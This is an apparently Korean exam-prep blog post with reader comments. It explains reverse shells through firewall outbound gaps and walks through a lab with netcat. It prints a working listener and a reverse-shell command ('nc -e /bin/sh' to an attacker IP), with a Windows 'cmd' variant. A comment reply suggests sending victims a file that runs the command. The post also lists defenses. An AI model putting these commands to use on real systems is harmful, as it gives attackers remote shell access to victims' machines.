이번에 이 주제를 쓰는 이유는 정보보안 산업기사 실무형 문제로 netcat으로 리버스 쉘하는 방법이 나왔는데 정확히 기억이 안나가지고 통탄스러워서 다시 정리하는 겸해서 씁니다..이 방법을 악용하면 안되요. 


리버스텔넷이란??

리버스 텔넷 기술은 방화벽이 존재하는 시스템을 공격할 때 자주 사용되는 기법중 하나이다. 방화벽 정책에서 인바운드 정책은 일반적으로 화이트 리스트를 채택하는 경우가 많다. 하지만 아웃바운드 정책에는 별 다른 블록을 설정하지 않기때문에 이러한 경우에는 리버스 텔넷이 유효하게 적용 할 수 있다.

리버스 텔넷을 간략하게 설명을 하자면 먼저 공격자가 자신의 포트를 열어두고 기다리고 있다가 공격자가 피해자의 컴퓨터에 침투를 하였을 때 피해자의 컴퓨터로 아까전에 열어두었던 공격자의 포트로 먼저 붙게 되는 방식이다. 이러한 방식을 사용하면 인바운드 정책에 걸리지 않고 연결이 된다.


일반적으로 허용되지 않은 경로면 방화벽에서 차단하게 된다.




하지만 내부에서 외부로 나가는건 보통 차단을 안시켜놓기 때문에 수월하게 접속이 가능하다.



이제 netcat을 이용하여 간단하게 실습을 해보자. 

만약 netcat이 없다면 아래의 링크를 통해 다운을 받거나 다른 곳에서 찾아서 다운을 받는다.

https://eternallybored.org/misc/netcat/

하지만 필자는 윈도우에서 하지않고 우분투와 칼리리눅스를 이용하여 실습을 진행 할 것이다.

공격자 IP



피해자 IP


공격자 IP : 192.168.145.133 / 우분투 14.04

피해자 IP : 192.168.145.131 / 칼리리눅스 2.0



1. 먼저 공격자가 포트를 연다.

nc -l -p (포트번호)

nc -l -p 8888

-l은 열고 있겠다는 뜻이고 -p 는 포트다. 

여기서 포트번호는 아무거나 설정해도되는데 이왕 1024 이상의 값으로 하는게 낫다.




2. 피해자의 컴퓨터에서 연결을 시도한다.

nc -e (실행파일) (공격자IP) (포트번호)

nc -e /bin/sh 192.168.145.133 8888

-e 는 연결이 되면 다음에 있는 파일을 자동으로 실행하게 한다.


※여기서 -e명령어가 안되는 경우가 있는데 최근 버전에는 안전성의 문제로 -e의 명령어는 없애고 나오는 추세이다. 따라서 따로 추가를 하거나 구버전을 다운받아 사용해야 한다.


※ 리눅스에서는 /bin/sh을 쓰고 윈도우에서 똑같은 결과를 얻을려면 /bin/sh대신 cmd를 넣으면 된다.



3. 제대로 성공했는지 확인한다.

공격자의 컴퓨터에서 ifconfig를 하면 피해자의 IP인 192.168.145.131이 나온다.



다른 명령어는 쳐도 피해자의 명령어 결과가 나온다.



해보면 정말 간단하다는 것을 알 수있다. 그런데 이걸 틀렸으니 너무 화가 난다. 


리버스 텔넷을 막는 방법은 아웃바운드 정책을 적절하게 설정을 하거나 /bin/sh 등 쉘 접근이나 cmd의 동작을 실시간으로 감시하여 처리하는 방법, 처음부터 리버스 텔넷을 시도하지 못하게 파일업로드 취약점 등을 잘 방지 하는등 충분한 대비를 마련해야 할 것이다.



netcat을 사용하는 무궁무진한 방법중 하나이다. 물론 netcat을 이용하지 않고서도 리버스 텔넷을 할 수 있다. 하지만 netcat은 이것뿐만아니라 다른 것도 많이 지원하기때문에 잘 사용하면 정말 좋은 프로그램이나 잘못 쓸 경우 큰일이 날 수 있음을 조심하자.  


  1. hoc 2017.04.11 22:15

    저도 전에 시험보다가 틀린 기억이 있네요ㅎㅎ
    근데 궁금한게 있습니다. 만약 리버스텔넷을 실제 환경에서 일어난다고 가정하면
    희생자가 입력하는 nc -e cmd.exe x.x.x.x 8888 명령어는 공격자가 실행하는건가요 희생자가 실행하는건가요?
    여기서 의문이 드는데요.
    공격자가 실행하는 경우라면 공격자가 희생자pc에 침투한 상태에서 위 nc명령을 친다는 얘기는 이미 공격자가 희생자 쉘을 얻었다는 뜻이고
    희생자가 실행하는 경우라면 왜 굳이 공격자 ip와 포트번호를 직접 입력하면서까지 세션을 맺어주는지 의문이 드네요.
    두 경우 모두 상식적으로 이해가 안가는데 혹시 정확하게 알고 계시면 답변 부탁드리겠습니다

    • Favicon of https://jmoon.co.kr BlogIcon JMoon1601 2017.04.14 16:47 신고

      공격에는 다양한 방법이 있겠지만, 하나의 예를 생각해보자면 nc -e cmd.exe ..... 를 공격자가 직접실행하는 것이라 아니라 공격자가 위의 공격 명령이 포함된 파일을 보내서 희생자가 실행을 시키게 유도하여 연결을 성립시킨다고 생각하시면 될듯싶습니다. 결과적으로 공격자는 희생자의 쉘을 얻게 될 것이고 희생자는 공격자의 ip와 port번호를 직접 입력하지 않아도 된다고 봅니다.

    • hoc 2017.04.14 22:46

      그렇군요. 그 어떤 설명보다 이해가 확 가네요. 며칠동안 관련해서 찾아봣는데 다 비슷비슷해서 ㅎㅎ 실기시험 준비 잘 하시길 바랄게요

  2. ros 2018.08.23 19:53

    netcat은 공격자 피해자 두쪽에 설치가 되어 있어야 하는건가요?

  3. ros 2018.08.23 20:06

    그럼 공격자가 서버에 시스템을 탈취한후 서버의 명령창을 얻어서 nc -e cmd.exe 1.1.1.1 8888를 입력하는건가요?
    즉 공격자가 저 명령어를 입력하는 것인가요?

+ Recent posts